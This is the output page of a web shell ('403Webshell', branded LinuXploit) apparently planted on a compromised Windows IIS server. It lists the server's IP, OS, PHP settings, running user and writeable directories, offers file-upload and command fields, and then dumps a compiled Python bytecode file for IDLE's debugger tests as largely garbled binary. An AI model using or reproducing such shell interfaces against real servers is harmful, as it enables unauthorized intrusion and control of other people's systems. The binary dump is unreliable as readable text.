403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/idlelib/idle_test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/idlelib/idle_test/__pycache__/test_debugger.cpython-313.opt-1.pyc
�

��if'����SrSSKJr SSKJr SSKJr SSKJr SSK	J
r
 SSKJr SSK
r
SS	K
Jr SS
KJrJr \"S5r"SS
5r"SS\
R(5r"SS\
R(5r"SS\
R(5r"SS\
R(5r"SS\
R(\5r"SS\
R(5r\S:Xa\
R8"SS9 gg)zeTest debugger, coverage 66%

Try to make tests pass with draft bdbx, which may replace bdb in 3.13+.
���debugger)�
namedtuple)�dedent)�Tk)�requires)�ExtraAssertionsN)�mock)�Mock�patchz9
    i = 1
    i += 2
    if i == 3:
       print(i)
    c��\rSrSrSrSrSrg)�	MockFrame�zMinimal mock frame.c��XlX lg�N��f_code�f_lineno)�self�code�linenos   �4C:\Python313\\Lib\idlelib\idle_test\test_debugger.py�__init__�MockFrame.__init__s�����
�rN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�__static_attributes__�rrrrs
���rrc�6�\rSrSr\S5rSrSrSrSr	g)�IdbTest�"c���[5Ul[R"UR5Ul[[SSS9n[US5nSUl[US5nX#lX0l	SUl
g)Nzidlelib/file.py�exec��mode��zfile.py:2: <module>())r�guir�Idb�idb�compile�	TEST_CODEr�f_back�frame�msg)�cls�code_obj�frame1�frame2s    r�
setUpClass�IdbTest.setUpClass$s`���&����,�,�s�w�w�'����9�&7�f�E���8�Q�'����
��8�Q�'���
��	�)��rc�d�URURRUR5 gr)�assertIsr.r,�rs r�	test_init�IdbTest.test_init2s���
�
�d�h�h�l�l�D�H�H�-rc���[5URlURR	UR
5 URRR
URUR
5 gr)rr,�interactionr.�	user_liner2�assert_called_once_withr3r<s r�test_user_line�IdbTest.test_user_line6sH��#�v����������4�:�:�&������4�4�T�X�X�t�z�z�Jrc�,�[[5[5S4n[5URlUR
R
URU5 URRRURURU5 gr)
�type�
ValueErrorrr,r@r.�user_exceptionr2rBr3)r�exc_infos  r�test_user_exception�IdbTest.test_user_exception<sb����$�j�l�D�9��#�v�����������
�
�H�5������4�4����$�*�*�h�	0rr"N)
rrrr�classmethodr8r=rCrJr!r"rrr$r$"s$���*��*�.�K�0rr$c��\rSrSrSrSrg)�FunctionTest�Ec�b�[[SSS9n[US5nX"lUR	[
R"U55 UR[
R"U5S5 [[SSS9n[US5nSUlUR[
R"U55 UR[
R"U5S5 XDlUR[
R"U55 X$lUR	[
R"U55 g)	Nzrpc.pyr'r(r+zrpc.py:2: <module>()zidlelib/debugger.pyr*zdebugger.py:1: <module>())
r/r0rr1�
assertTruer�_in_rpc_code�assertEqual�_frame2message�assertFalse)r�rpc_obj�	rpc_framer5�
code_frames     r�test_functions�FunctionTest.test_functionsHs����)�H�6�:���g�q�)�	�$������-�-�i�8�9�����0�0��;�/�	1��9�&;�&�I���x��+�
� �
������.�.�z�:�;�����0�0��<�4�	6�'������.�.�z�:�;�%������-�-�j�9�:rr"N)rrrrrYr!r"rrrNrNEs��;rrNc�^�\rSrSrSr\S5rSrSrSr	Sr
SrS	rS
r
SrSrS
rg)�DebuggerTest�]z0Tests for Debugger that do not need a real root.c��[5Ul[5URl[5Ul[R
"[RS5 [R"URUR5UlSSS5 [5URlg!,(df   N(=f)N�make_gui)r�pyshell�rootr.r�objectr�Debugger�r4s rr8�DebuggerTest.setUpClass`sn���f����6������&���
�\�\�(�+�+�Z�
8�#�,�,�S�[�[�#�'�'�B�C�L�9� �F�����9�
8�s�1B0�0
B>c��URR5 URRR	5 gr)r�contr.�set_continue�assert_called_oncer<s r�	test_cont�DebuggerTest.test_contis(���
�
���������0�0�2rc��URR5 URRR	5 gr)r�stepr.�set_steprir<s r�	test_step�DebuggerTest.test_stepm�(���
�
���������,�,�.rc��URR5 URRR	5 gr)r�quitr.�set_quitrir<s r�	test_quit�DebuggerTest.test_quitqrqrc��[R"URS5nURR5 URR
R
U5 SSS5 g!,(df   g=f�Nr2)rrbr�nextr.�set_nextrB�rr2s  r�	test_next�DebuggerTest.test_nextusJ��
�\�\�$�-�-��
1�U��M�M��� ��H�H���5�5�e�<�2�
1�
1���AA+�+
A9c��[R"URS5nURR5 URR
R
U5 SSS5 g!,(df   g=frx)rrbr�retr.�
set_returnrBr{s  r�test_ret�DebuggerTest.test_retzsJ��
�\�\�$�-�-��
1�U��M�M�����H�H���7�7��>�2�
1�
1�r~c��URRSS5 URRR	SS5 g)N�test.py�)r�clear_breakpointr.�clear_breakrBr<s r�test_clear_breakpoint�"DebuggerTest.test_clear_breakpoints0���
�
�&�&�y�!�4������4�4�Y��Brc��URRS5 URRR	S5 g)Nr�)r�clear_file_breaksr.�clear_all_file_breaksrBr<s r�test_clear_file_breaks�#DebuggerTest.test_clear_file_breaks�s,���
�
�'�'�	�2����&�&�>�>�y�Irc��^�[SS5m"U4SjS[5n[5URlU"SSS/5U"S/SQ54URRlURRS	S
5 URRRS	S
5 URR5 URRR[R"S	S
5[R"SS5[R"SS5[R"SS5[R"SS5[R"SS
5/5 g)N�FileIO�filenamec�">�\rSrSrU4SjrSrg)�>DebuggerTest.test_set_load_breakpoints.<locals>.MockEditWindow�c�,>�T"U5UlX lgr)�io�breakpoints)r�fnr�r�s   �rr�GDebuggerTest.test_set_load_breakpoints.<locals>.MockEditWindow.__init__�s��� ��*���#.� r)r�r�N)rrrrrr!)r�s�r�MockEditWindowr��s
���
/�
/rr�ztest1.pyr�ztest2.py)�
�,�-ztest0.pyr*r�r�r�)rrbrr`�flist�inversedictr�set_breakpointr.�	set_breakrB�load_breakpoints�assert_has_callsr
�call)rr�r�s  @r�test_set_load_breakpoints�&DebuggerTest.test_set_load_breakpoints�s����H�j�1��	/�V�	/�
"�V������:��1�v�.��:�|�4�*
������&�	
�
�
�$�$�Z��3������2�2�:�q�A��
�
�&�&�(������+�+�
�Y�Y�z�1�
%�
�Y�Y�z�1�
%�
�Y�Y�z�1�
%�
�Y�Y�z�2�
&�
�Y�Y�z�2�
&�
�Y�Y�z�2�
&�
(�	)rc�l�[[SS5n[US5nX Rl[5URl[SSS9 URR5 SSS5 URRRRSS5 g!,(df   N?=f)Nztest_sync.pyr'r*zidlelib.debugger.os.path.existsT��return_value)r/r0rrr2rr�r�sync_source_line�gotofilelinerB)r�	test_code�
test_frames   r�test_sync_source_line�"DebuggerTest.test_sync_source_line�s����I�~�v�>�	��y�!�,�
�(�
�
��"�f��
�
��
�4�4�
H��M�M�*�*�,�I��
�
���(�(�@�@��QR�S�I�
H�s�B%�%
B3r"N)rrrrr rLr8rjrorur|r�r�r�r�r�r!r"rrr\r\]sG��6��#��#�3�/�/�=�
?�
C�J�)�2	Trr\c�V�\rSrSrSr\S5r\S5rSrSr	Sr
SrS	rS
r
g)�DebuggerGuiTest�zZTests for debugger.Debugger that need tk root.

close needs debugger.top set in make_gui.
c��[S5 [5=UlnUR5 [	5UlXR
l[	5Ulg�Nr,)rrra�withdrawrr`r.)r4ras  rr8�DebuggerGuiTest.setUpClass�s<������$����4��
�
���f��������&��rc�<�URR5 U?gr�ra�destroyrds r�
tearDownClass�DebuggerGuiTest.tearDownClass�����������Hrc��[R"URUR5UlURURlgr)rrcr`r.rar<s r�setUp�DebuggerGuiTest.setUp�s.�� �)�)�$�,�,����A��
�!�Y�Y��
�
�rc���URRSS5 URRRSS5 UR	URR
S5 g)Nr*�twor)r�runr.rBrS�interactingr<s r�test_run_debugger�!DebuggerGuiTest.test_run_debugger�sH���
�
���!�U�#������,�,�Q��6�������2�2�A�6rc��URR5 URRR	5 gr)r�closer`�close_debuggerrir<s r�
test_close�DebuggerGuiTest.test_close�s(���
�
�������#�#�6�6�8rc��URR5 URURRRUR5 gr)r�
show_stackrS�stackviewerr,r<s r�test_show_stack�DebuggerGuiTest.test_show_stack�s6���
�
� � �"�������2�2�6�6��
�
�Frc��[SS5nXRlSURl/S4URR
lURR5 URURRRUR5 URR
RUS5 g)Nr)rrr2r�r.�	get_stackr�r�rSr,rB)rr�s  r�test_show_stack_with_frame�*DebuggerGuiTest.test_show_stack_with_frame�s����t�T�*�
�(�
�
��%)��
�
�!�+-�q�'������'��
�
� � �"�	
������2�2�6�6��
�
�F������2�2�:�t�DrrN)rrrrr rLr8r�r�r�r�r�r�r!r"rrr�r��sJ���
��������'�7�
9�
G�Err�c�L�\rSrSr\S5r\S5rSrSrSr	Sr
Srg	)
�StackViewerTest��c�l�[S5 [5UlURR5 gr��rrrar�rds rr8�StackViewerTest.setUpClass��"������4��������rc�<�URR5 U?grr�rds rr��StackViewerTest.tearDownClass�r�rc�2�[[SS5Ul[URS5S4[URS5S4/Ul[
R"URSS5UlURRUR5 g)N�test_stackviewer.pyr'r*r+)
r/r0rr�stackr�StackViewerra�sv�
load_stackr<s rr��StackViewerTest.setUp�st���I�'<�f�E��	�
�t�y�y�!�
$�a�(�
�t�y�y�!�
$�a�(�
��
�
�&�&�t�y�y�$��=��������4�:�:�&rc�v�SnSnURn[R"X2U5nURUS5 g)Nr�)rarr��
assertHasAttr)rr,r��
master_windowr�s     rr=�StackViewerTest.test_init�s7�������	�	�
�
�
!�
!�-��
<�����2�w�'rc��URURRUR5 URSURR	S5;5 URURR	S5S5 g)Nz?.<module>(), line 1:rr*z?.<module>(), line 2: )rSr�r�rQ�getr<s r�test_load_stack�StackViewerTest.test_load_stacks[��	
���������
�
�3����/�4�7�7�;�;�q�>�A�B���������Q��)A�Brc�4�[5URl[SSS9nURR	S5 URS5 URRRRS5 SSS5 g!,(df   g=f)Nzidlelib.debugger.os.path.isfileTr�r*r�)rr�r�r�show_sourcerB�open)r�isfiles  r�test_show_source� StackViewerTest.test_show_source
si�������
�
�4�4�
H�F��G�G����"��*�*�+@�A��G�G�M�M���6�6�7L�M�I�
H�
H�s�AB	�	
B)rr�r�N)rrrrrLr8r�r�r=r�r�r!r"rrr�r��s>������
����'�(�C�Nrr�c�:�\rSrSr\S5r\S5rSrSrg)�
NameSpaceTestic�l�[S5 [5UlURR5 gr�r�rds rr8�NameSpaceTest.setUpClassr�rc�<�URR5 U?grr�rds rr��NameSpaceTest.tearDownClass r�rc�F�[R"URS5 g)N�Test)r�NamespaceViewerrar<s rr=�NameSpaceTest.test_init%s��� � ����F�3rr"N)	rrrrrLr8r�r=r!r"rrr�r�s-������
����4rr��__main__r+)�	verbosity)r �idlelibr�collectionsr�textwrapr�tkinterr�test.supportr�test.support.testcaser	�unittestr
�
unittest.mockrrr0r�TestCaser$rNr\r�r�r�r�mainr"rr�<module>r	s����
�"���!�1���%�/���
	�	��� 0�h��� 0�F;�8�$�$�;�0LT�8�$�$�LT�^8E�h�'�'�8E�v.N�h�'�'��.N�b4�H�%�%�4�"�z���M�M�A��r

Youez - 2016 - github.com/yon3zu
LinuXploit